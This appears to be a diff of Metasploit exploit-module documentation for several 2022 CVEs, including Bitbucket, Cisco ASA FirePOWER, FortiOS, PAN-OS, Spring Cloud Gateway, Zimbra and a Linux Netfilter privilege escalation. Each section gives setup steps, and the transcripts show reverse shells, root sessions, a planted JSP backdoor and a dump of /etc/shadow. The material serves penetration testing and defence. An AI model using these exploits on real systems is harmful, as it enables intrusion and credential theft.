RHOSTS 192.168.100.43 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the vulnerable instance
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.100.7 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(inux/http/apache_spark_rce_cve_2022_33891) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.43:8080 can be exploited!
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The 192.168.100.43:8080 did not respond a 403 response. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) >
```
## Limitations
The check to determine if the application is vulnerable is based on a 403 response and the execution of a randomized `sleep` command.
The exploit is a blind command injection, so there is nothing reflected back on the page during the command execution.
Timing the sleep command execution is therefore a pretty safe bet to check if the command injection is successful.
Credits goes to HuskyHacks that used this test in his [POC](https://github.com/HuskyHacks/cve-2022-33891) on GitHub.
@@ -0,0 +1,118 @@
## Vulnerable Application
Various versions of Bitbucket Server and Data Center are vulnerable to
an unauthenticated command injection vulnerability in multiple API endpoints.
The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint
creates an archive of the repository, leveraging the `git-archive` command to do so.
Supplying NULL bytes to the request enables the passing of additional arguments to the
command, ultimately enabling execution of arbitrary commands.
According to the [advisory](https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html), vulnerable versions of Bitbucket are:
Any version released after version `6.10.17` and before:
* `7.6.17`
* `7.17.10`
* `7.21.4`
* `8.0.3`
* `8.1.3`
* `8.2.2`
* `8.3.1`
Download archives can be found [here](https://www.atlassian.com/software/bitbucket/download-archives).
### Installation Instructions
1. Install Git on the target machine
* sudo apt install -y git
2. Download a vulnerable version of Bitbucket. For example, version `8.2.1` can be found
[here](https://www.atlassian.com/software/stash/downloads/binary/atlassian-bitbucket-8.2.1-x64.bin)
3. Make sure the resulting bin file is executable and run it
* chmod +x atlassian-bitbucket-8.3.0-x64.bin && sudo ./atlassian-bitbucket-8.3.0-x64.bin
4. An installation wizard will pop up. Make sure `Install a new instance` is checked, then click `Next`
5. Check `Install a Server instance` and click `Next`
6. If the default destination directory looks good, click `Next`
7. Click `Next` if the default Bitbucket data directory looks fine
8. Make sure the `Use default HTTP port (7990)` selection is checked and click `Next`
9. Make sure the `Install Bitbucket as a service` box is checked and click `Next`
10. Click `Install` if everything looks correct on the summary screen
11. Once the installation completes, make sure the `Would you like to launch Bitbucket` option is selected
and click `Next`
12. Ensure `Launch Bitbucket <version> in browser` is selected and click `Finish`
13. Navigate to the Bitbucket setup page (http://localhost:7990) and select the `I need an evaluation license` option
14. If you already have an account, select `I have an account`; otherwise, create a new account
15. 'up and running' should be selected on the next page, so click `Generate License`
16. Confirm that the prompt gives you the correct server, then click `Yes`
17. The license should be entered in the box, so select `Next`
18. Finally, set up an administrator account
*Note*: If an error occurs on the last step, just open a browser and navigate to the setup
page at 127.0.0.1:7990
### Vulnerable Setup
1. Log into Bitbucket with your administrator credentials
2. Once logged in, select `Projects` at the top menu
3. Select `Create project`
4. Enter a name for the project and click `Create project`
5. On the next page, select `Create repository`
6. Enter a name for the repository and select `Create repository`
7. Follow the instructions to clone the repository and push data to the repository so it is not empty
8. Click the gear on the left side of the next page
9. Select `Repository permissions` under `Security` on the left
10. Underneath `Public access`, check `Enable` to make the repository public
Bitbucket should now be exploitable
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/bitbucket_git_cmd_injection`
4. Do: `run`
5. You should get a shell.
## Options
### USERNAME
An optional username to authenticate to Bitbucket with
### PASSWORD
An optional password to authenticate to Bitbucket with
### Bitbucket version 8.2.1 on Ubuntu 22.04
```
msf6 > use exploit/linux/http/bitbucket_git_cmd_injection
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/bitbucket_git_cmd_injection) > set rhost 192.168.140.216
rhost => 192.168.140.216
msf6 exploit(linux/http/bitbucket_git_cmd_injection) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(linux/http/bitbucket_git_cmd_injection) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Searching Bitbucket for publicly accessible repository
[+] Found public repo 'repo_name' in project 'TEST'!
[*] Using URL: http://192.168.140.1:8080/7SGXRWRlXr8t
[*] Client 192.168.140.216 (Wget/1.21.2) requested /7SGXRWRlXr8t
[*] Sending payload to 192.168.140.216 (Wget/1.21.2)
[*] Sending stage (3020772 bytes) to 192.168.140.216
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.216:57994) at 2022-09-20 18:40:27 -0500
[*] Command Stager progress - 100.00% done (118/118 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: atlbitbucket
meterpreter > sysinfo
Computer : 192.168.140.216
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,152 @@
## Vulnerable Application
### Description
This module exploits an authenticated command injection vulnerability affecting
Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's
ASDM web server and lands in the FirePower Services SFR module's Linux virtual
machine as the root user. Access to the virtual machine allows the attacker to
pivot to the inside network, and access the outside network. Also, the SFR
virtual machine is running snort on the traffic flowing through the ASA, so
the attacker should have access to this diverted traffic as well.
This module requires ASDM credentials in order to traverse the ASDM interface.
A similar attack can be performed via Cisco CLI (over SSH), although that isn't
implemented here. This attack also assumes the module is installed and
configured.
Finally, it's worth noting that this attack bypasses the effects of the
`lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be
available but this attack makes it available).
Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that
support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,
and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module
versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will
receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.
### Setup
Cisco ASA that support the FirePOWER Services module are, to our knowledge,
strictly hardware firewalls and not capable of being emulated. As such,
testing requires a physical device. Once a device is acquired, you'll
additionally need access to Cisco downloads of ASDM, ASA software, and the
FirePOWER Services Software for ASA. Unfortunately, Cisco hides these
behind a paywall (or a "contract" wall).
However, if you do acquire a Cisco ASA that supports the FirePOWER Services
module, then it will likely come with the module pre-installed. These systems
do support downgrading of the module via uninstall and reinstallation. If
you need to follow that course, then I found the following [guide](https://www.cisco.com/c/en/us/support/docs/security/asa-firepower-services/118644-configure-firepower-00.html#anc5) to be an excellent guide that
demonstrates how to install the FirePOWER module from boot image through
full installation.
This particular module exploits the FirePOWER module via ASDM, so you'll need
that installed and running as well. Likely, the ASA will have an ASDM binary
package already installed, but if not you'll need to download that from Cisco
and copy it onto the ASA. However, once that is complete, you can run the
following commands to start ASDM and enable it on the inside/outside network.
```
asdm image disk0:/asdm<version>.bin
http server enable
http network mask inside
http network mask outside
```
Where network and mask are who you want to be able to access it and inside
is the zone. E.g. "0.0.0.0 0.0.0.0 outside" is the internet. And that should
satisfy the pre-requisites for exploitation (ASDM+sfr).
## Verification Steps
* Follow setup steps above.
* Do: `use exploit/linux/http/cisco_asax_sfr_rce`
* Do: `set USERNAME <username>`
* Do: `set PASSWORD <password>`
* Do: `set RHOST <ip>`
* Do: `set LHOST <ip>`
* Do: `check`
* Verify the remote host is vulnerable.
* Do: `run`
* Verify the module acquires a root shell
## Options
### USERNAME
The username to authenticate with the ASDM http web server with.
### PASSWORD
The password to authenticate with the ASDM http web server with.
## Scenarios
### Successful exploitation of ASA 5506-X with FirePOWER Services for a root shell
```
msf6 > use exploit/linux/http/cisco_asax_sfr_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21
RHOST => 10.0.0.21
msf6 exploit(linux/http/cisco_asax_sfr_rce) > check
[+] 10.0.0.21:443 - The target is vulnerable. Successfully executed the 'id' command.
msf6 exploit(linux/http/cisco_asax_sfr_rce) > run
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully executed the 'id' command.
[*] Executing Shell Dropper for cmd/unix/reverse_bash
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.21:43056 ) at 2022-04-21 12:49:15 -0700
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux firepower 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x86_64 GNU/Linux
```
### Successful exploitation of ASA 5506-X with FirePOWER Services for a Meterpreter shell
```
msf6 > use exploit/linux/http/cisco_asax_sfr_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21
RHOST => 10.0.0.21
msf6 exploit(linux/http/cisco_asax_sfr_rce) > check
[+] 10.0.0.21:443 - The target is vulnerable. Successfully executed the 'id' command.
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/cisco_asax_sfr_rce) > run
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully executed the 'id' command.
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
[*] Using URL: http://10.0.0.2:8080/FeB2t5vKpa
[*] Client 10.0.0.21 (curl/7.48.0) requested /FeB2t5vKpa
[*] Sending payload to 10.0.0.21 (curl/7.48.0)
[*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.21:43058 ) at 2022-04-21 12:51:44 -0700
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.
meterpreter > shell
Process 6315 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux firepower 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x86_64 GNU/Linux
```
@@ -0,0 +1,95 @@
## Vulnerable Application
An authentication bypass using an alternate path or channel vulnerability [CWE-288] in FortiOS (firewall)
FortiProxy (web proxy), and FortiSwitch Manager products. The vulnerability allows remote, unauthenticated user to
bypass authentication and gain access to the administrative interface of these products by using a specially
crafted http/s request.
On October 3, 2022, Fortinet released a software update that addressed this vulnerability (CVE-2022-40684).
The following products are affected:
- FortiOS 7.0.0 to 7.0.6
- FortiOS 7.2.0 to 7.2.1
- FortiProxy 7.0.0 to 7.0.6
- FortiProxy 7.2.0
- FortiSwitchManager 7.0.0
- FortiSwitchManager 7.2.0
### Exploitation
This module will abuse the authentication bypass vulnerability in the affected products to add a new ssh public
key in the authorized keys of the target user (if no user is provied it'll try to detect it) and then connect
over ssh to the target system (if no ssh private key is provided this module will automatically generate one).
To do so it will add the following header in all HTTP requests:
```
User-Agent: Report Runner
Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
```
This module doesn't intend to overwrite the ssh keys already configured in the target system, it intends to
**add** a new key in the last slot, if it is available or overwriting it.
Even though the `check` detects the system as vulnerable, it performs a further validation if the ssh port is open and will fail otherwise.
After a successful exploitation it will remove the just added key as a clean-up process. We assume it is the last key.
## Verification Steps
Confirm that functionality works:
1. Start `msfconsole`
1. `use exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684`
1. set `RHOSTS`
1. set `HttpTrace true` (optional)
1. set `SSH_DEBUG true` (optional)
1. set `VERBOSE true` (optional)
1. `exploit`
1. Confirm you have now a cmd session
## Options
### TARGETURI (required)
The path to the Fotigate API (Default: `/`).
### USERNAME (required)
The username of the targed user (Default: `admin`).
### PRIVATE_KEY (optional)
The path for the SSH private key to be used to authenticate. It must be in PEM format.
Example how to generate it:
```
ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`
```
### KEY_PASS (optional)
The password for a given SSH private key (if it has one).
### SSH_RPORT (required)
The SSH port to connnect to (Default: `22`)
## Scenarios
### vulnerable application version and OS
This module has been tested successfully on FortiGate v7.2.0.
```
msf6 exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > exploit
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking XXX.XXX.XXX.XXX:443
[+] The target appears to be vulnerable. Target seems vulnerable
[*] Executing exploit on Interactive SSH
[*] Establishing SSH connection
[*] SSH session 1 opened (172.25.226.18:38791 -> XXX.XXX.XXX.XXX:22) at 2022-10-15 04:00:41 +0200
FW01 # get sys status
Version: FortiGate-100F v7.2.0,build1157,220331 (GA.F)
Firmware Signature: certified
```
@@ -0,0 +1,53 @@
## Vulnerable Application
This module exploits CVE-2020-2038, an authenticated OS Command Injection vulnerability in PAN-OS versions < 10.0.1,
< 9.1.4 and <9.0.10 that allows authenticated administrators to execute arbitrary OS commands with root privileges. The
Rest API allows authenticated users to send operational mode commands via the "op" request. Insufficient filtering of
user inputs in the "op" request allows an attacker to inject commands.
A Palo Alto Firewall demo VM can be requested at the following
[link](https://www.paloaltonetworks.com/company/request-demo). PANOS is the software that runs all Palo Alto Networks
next-generation firewalls. PAN-OS will be running on the VM by default. The only setup necessary should be setting the
administrator password.
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/linux/http/panos_auth_rce`
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options
1. Run the module
1. Receive a Meterpreter session as the `root` user.
## Scenarios
### PAN-OS 10.0.0
```
msf6 > use linux/http/panos_auth_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/panos_auth_rce) > set rhosts 192.168.2.196
rhosts => 192.168.2.196
msf6 exploit(linux/http/panos_auth_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/panos_auth_rce) > set PASSWORD N0tpassword!
PASSWORD => N0tpassword!
msf6 exploit(linux/http/panos_auth_rce) > run
[*] Started reverse TCP handler on 192.168.2.114:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Authenticating...
[+] Successfully obtained api key
[+] The target is vulnerable.
[*] Exploiting...
[*] Sending stage (989032 bytes) to 192.168.2.196
[*] Meterpreter session 1 opened (192.168.2.114:4444 -> 192.168.2.196:52592) at 2022-08-17 16:13:19 -0400
[*] Command Stager progress - 100.00% done (1111/1111 bytes)
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : PA-VM-10-0-0.home
OS : Red Hat (Linux 3.10.0-957.21.3.10.pan.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,80 @@
## Vulnerable Application
The vulnerability exploits [CVE-2022-22947](https://nvd.nist.gov/vuln/detail/CVE-2022-22947) an unauthenticated RCE
vulnerability in Spring Cloud Gateway. According to [VMware](https://tanzu.vmware.com/security/cve-2022-22947)
the versions affected are:
- 3.1.0
- 3.0.0 to 3.0.6
- Older, unsupported versions are also affected
A sample demo [project](https://github.com/wdahlenburg/spring-gateway-demo) is available,
which can be used to run a vulnerable server by following the installation instructions below.
### Installation Instructions
```bash
# To use the pre-compile vulnerable application
wget https://github.com/wdahlenburg/spring-gateway-demo/releases/download/v.0.0.1/spring-gateway-demo-0.0.1-SNAPSHOT.jar
sudo apt install default-jdk
java -jar spring-gateway-demo-0.0.1-SNAPSHOT.jar # This will host the app on port 9000
# If you want to compile for a version of spring cloud gateway on your own
git clone https://github.com/wdahlenburg/spring-gateway-demo.git
# In pom.xml, change the version in '<spring-cloud.version>2021.0.1-SNAPSHOT</spring-cloud.version>'.
# To see which spring cloud version includes which version of spring cloud gateway,
# look here : https://repo1.maven.org/maven2/org/springframework/cloud/spring-cloud-dependencies/
apt install maven
mvn package -DskipTests
java -jar target/spring-gateway-demo-0.0.1-SNAPSHOT.jar # This will host the app on port 9000
```
## Verification Steps
- Run the vulnerable server
- Start msfconsole
- Do: `use exploit/linux/http/spring_cloud_gateway_rce`
- Do: `set RHOSTS <server_ip>`
- Do: `set LHOST <metasploit_machine_ip>`
- Do: `set RPORT 9000`
- Do: `run`
- You should get a Meterpreter shell.
## Options
No particular option to be set
## Scenarios
### Spring Cloud gateway version 3.1.0 on Linux kali 5.18.0-kali5-amd64
```
msf6 > use exploit/linux/http/spring_cloud_gateway_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/spring_cloud_gateway_rce) > set RHOSTS 192.168.19.140
RHOSTS => 192.168.19.140
msf6 exploit(linux/http/spring_cloud_gateway_rce) > set RPORT 9000
RPORT => 9000
msf6 exploit(linux/http/spring_cloud_gateway_rce) > set LHOST 192.168.1.7
LHOST => 192.168.1.7
msf6 exploit(linux/http/spring_cloud_gateway_rce) > run
[*] Started reverse TCP handler on 192.168.1.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if server is vulnerable
[*] Triggering code execution using routes
[+] Route deleted
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Triggering code execution using routes
[*] Sending stage (40164 bytes) to 192.168.1.7
[*] Meterpreter session 7 opened (192.168.1.7:4444 -> 192.168.1.7:53264) at 2022-10-11 17:44:53 -0400
[+] Route deleted
meterpreter >
```
@@ -0,0 +1,190 @@
## Vulnerable Application
This module exploits a symlink-based path traversal vulnerability in `cpio`
(that's identified as CVE-2015-1197) that's exploitable in Zimbra. The
following versions of Zimbra are vulnerable:
* Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)
* Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)
The patch for Zimbra adds `pax` as a pre-requisite, so any version of Zimbra
(except Ubuntu 18.04, which has a patched `cpio` binary) can be made vulnerable
with `rm $(which pax)`.
To verify a host is vulnerable, ensure that `pax` is not installed on the host.
Also, validate that `cpio` is listed in `amavisd.conf` as an option to extract
.tar/.cpio files:
```
[ron@mail tmp]$ sudo cat /opt/zimbra/conf/amavisd.conf | grep cpio
[...]
[['cpio','tar'], \&do_pax_cpio, ['pax', 'gcpio', 'cpio'] ],
```
Note that this can be chained with other Zimbra exploits to get root.
### Installing Zimbra
Create a VM
```
HDD = 128gb
Memory/etc don't matter
```
I installed a local DNS server (note: replace `<ip>` with the host's actual ip)
(other note: replace `apt` with `yum` to do this on a Red Hat-derived system):
```
sudo apt update && sudo apt install dnsmasq
sudo hostnamectl set-hostname mail.example.org
echo "<ip> mail.example.org" | sudo tee -a /etc/hosts
echo -e 'listen-address=127.0.0.1\nserver=8.8.8.8\ndomain=example.org\nmx-host=example.org, mail.example.org, 5\nmx-host=mail.example.org, mail.example.org, 5' | sudo tee /etc/dnsmasq.conf
```
Configure the host to use it:
```
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo killall dnsmasq
sudo systemctl restart dnsmasq
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
```
Download Zimbra from
https://www.zimbra.com/downloads/zimbra-collaboration-open-source/ - you'll
have to sell your soul and opt-in to spam, but they don't validate your email.
```
tar -xvvzf zcs-*.tgz
cd zcs*
sudo ./install.sh
* Lots of <enter>
* DO NOT install `dnscache` module (respond `N` when it ask), I had conflict issues with the local `dnsmasq`
* Yes change the system
* Setup the admin password, probably turn off auto-updates
```
## Verification Steps
1. Do: `use exploit/linux/http/zimbra_cpio_cve_2022_41352`
1. Do: `set RHOSTS <target>`
1. Do: `set LHOST <listenerip>`
1. Do: `exploit`
## Options
### `FILENAME`
The filename to generate - defaults to `payload.tar`, but can be changed on the
filesystem or whatever.
### `TARGET_PATH`
The absolute path where the payload will extract to. The default is the
webroot, which is usually what you want
### `TARGET_FILENAME`
The actual filename. It really should end with `.jsp`, otherwise it won't
execute.
By default, it's a random string with `.jsp` on the end, in the `public/`
folder. That should work fine, especially because we can't overwrite files and
don't want to use the same payload name more than once.
### `SYMLINK_FILENAME`
The path used for the symlink inside the archive; you probably won't ever want
to change this (default: random)
### `TRIGGER_PAYLOAD`
A boolean, default `true`, that determines whether we use HTTP requests to
trigger the .jsp payload. Set to `false` to trigger the payload manually.
### `ListenerTimeout`
The number of seconds to wait for a new session (default = `0`, or infinite).
### `CheckInterval`
The frequency with which to check for the payload on the server. Every
`CheckInterval`, it performs an HTTP request to the payload path.
## Scenarios
To exploit Zimbra, first load the module and generate the .tar file:
```
msf6 > use exploit/linux/http/zimbra_cpio_cve_2022_41352
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > set LHOST 172.16.166.147
LHOST => 172.16.166.147
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > set RHOSTS 172.16.166.158
RHOSTS => 172.16.166.158
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.16.166.147:4444
[*] Encoding the payload as a .jsp file
[*] Adding symlink to path to .tar file: /opt/zimbra/jetty_base/webapps/zimbra/
[*] Adding target file to the archive: public/bdhg.jsp
[+] payload.tar stored at /home/ron/.msf4/local/payload.tar
[+] File created! Email the file above to any user on the target Zimbra server
[...] waiting [...]
```
Then, email that file to any user (including a non-existent mailbox) on the
Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract
it to check for malware with no user interaction. Metasploit should see the
malicious file extracted and get a session:
```
[...]
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/bdhg.jsp every 5s [backgrounding]...
[file emailed]
[*] Sending stage (3045348 bytes) to 172.16.166.158
[*] Meterpreter session 1 opened (172.16.166.147:4444 -> 172.16.166.158:44808) at 2022-10-06 10:27:34 -0700
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: zimbra
```
For bonus points, use a different module to get root:
```
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_slapper_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit
[*] Started reverse TCP handler on 172.16.166.147:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.vT1bDSvZV
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.vT1bDSvZV/.RhmWwHRn
[*] Sending stage (3045348 bytes) to 172.16.166.158
[+] Deleted /tmp/.vT1bDSvZV
[*] Meterpreter session 2 opened (172.16.166.147:4444 -> 172.16.166.158:60166) at 2022-10-06 10:45:30 -0700
meterpreter > getuid
Server username: root
```
@@ -0,0 +1,149 @@
## Vulnerable Application
This module exploits a vulnerability in Netfilter, the Linux Kernel component
that implements firewall capabilities in Linux.
The vulnerability is a type-confusion bug that leads to a heap overflow in kernel memory.
The exploit relies on spraying, it may fail, or crash the target system.
### Install
The vulnerability exists in linux kernel versions from `5.8-rc1` up to `v5.19-rc5`.
this module contains offsets for some vulnerable Ubuntu versions.
Install Ubuntu 22.04 LTS with a vulnerable kernel version.
`apt-get install linux-image-5.15.0-25-generic`
Hold shift when you reboot and select the proper kernel version
## Verification Steps
1. Make an Ubuntu target.
1. Create a Meterpreter or shell payload and upload it to the Ubuntu target. Or setup openssh-server, and use the corresponding auxiliary module.
1. Get a session
1. Do: `use exploit/linux/local/netfilter_nft_set_elem_init_privesc`
1. Do: `set session <session_id>`
1. Do: `set payload <payload>`
1. Do: `set lhost <ip>`
1. Do: `set [r|l]port <port>`
1. Do: `run`
1. You should get a new session as the `root` user.
1. If it fails, retry, or reboot Ubuntu and retry.
## Options
### COMPILE
[Auto|True|False] This selects the binary to use. `True` will cause the module to upload the source
code and perform compilation on target, `False` will cause the module to upload a precompiled binary.
`Auto` will cause the module to try compiling the exploit on the target but will fall back to the
precompiled option if a compiler cannot be found.
### WritableDir
This indicates the location where you would like the payload and exploit binary stored.
The default value is `/tmp`
Due to the exploitation strategy that this module relies on, `/tmp` must be writable, even if
`WritableDir` is a different directory. `modprobe_path` gets overwritten with a path to a file
in `/tmp`. This file is a bash script that adds the setuid bit to the payload uploaded at
`WritableDir`.
## Scenarios
### Ubuntu 21.10 x64 With Linux 5.13.0.37-Generic
```
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.40
rhosts => 192.168.0.40
msf6 auxiliary(scanner/ssh/ssh_login) > set username redouane
username => redouane
msf6 auxiliary(scanner/ssh/ssh_login) > set password user
password => user
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.0.40:22 - Starting bruteforce
[+] 192.168.0.40:22 - Success: 'redouane:user' 'uid=1000(redouane) gid=1000(redouane) groupes=1000(redouane),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux hopeful-zhukovky 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.0.32:46499 -> 192.168.0.40:22) at 2022-07-22 02:44:56 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/netfilter_nft_set_elem_init_privesc
[*] Using configured payload linux/x64/shell_reverse_tcp
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set lhost wlan0
lhost => wlan0
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set session 1
session => 1
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture:
[*] Started reverse TCP handler on 192.168.0.32:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Dropping pre-compiled binaries to system...
[*] Writing '/tmp/z9G2XJ' (761240 bytes) ...
[*] Uploading payload...
[*] Writing '/tmp/AsfKz' (248 bytes) ...
[*] Running payload on remote system...
[+] Deleted /tmp/z9G2XJ
[+] Deleted /tmp/AsfKz
[*] Command shell session 2 opened (192.168.0.32:4444 -> 192.168.0.40:35956) at 2022-07-22 02:45:54 +0200
id
[*] Payload executed! If it was successful, a session should have been created
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),1000(redouane)
```
## Notes
### Included Binaries
The binary used by this exploit `data/exploits/CVE-2022-34918/ubuntu.elf` can be used separately from
Metasploit. The binary takes a single argument which is the payload or executable you wish to launch as `root`.
The exploit adds the setuid bit to the payload, the path given must be absolute, avoid binaries that don't run
when the setuid bit is detected.
Also, the exploit process forks, gets its child to execute the setuid payload binary, and exits
(it doesn't call `wait` or `waitpid`). For this reason, don't expect the binary to read input from standard input.
The following snippet shows an example of how one might run a payload to get
a new Bash shell as the `root` user.
```
redouane@wizardly-maxwell:~$ id
uid=1000(redouane) gid=1000(redouane) groups=1000(redouane),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)
redouane@wizardly-maxwell:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 PrependSetresuid=true PrependSetresgid=true -f elf -o payload
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 96 bytes
Final size of elf file: 216 bytes
Saved as: payload
redouane@wizardly-maxwell:~$ chmod +x payload
redouane@wizardly-maxwell:~$ (echo id; head -n 2 /etc/shadow) | nc -lvvp1337 &
[1] 2272
redouane@wizardly-maxwell:~$ Listening on 0.0.0.0 1337
redouane@wizardly-maxwell:~$ ./ubuntu.elf /home/redouane/payload
[+] kernel version '5.15.0-25-generic #25-Ubuntu' detected
[+] Second process currently waiting
[+] Get CAP_NET_ADMIN capability
[+] Netlink socket created
[+] Netlink socket bound
[+] Table table created
[+] Set for the leak created
[+] Set for write primitive created
[*] Leak in process
[+] Leak succeed
[+] kaslr base found 0xffffffff9f000000
[+] physmap base found 0xffff910a00000000
[+] modprobe path changed !
[+] Modprobe payload setup
[?] waitpid
[?] sem_post
[+++] Got root shell, should exit?
Connection received on localhost 56962
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),1000(redouane)
root:!:19193:0:99999:7:::
daemon:*:19101:0:99999:7:::
```
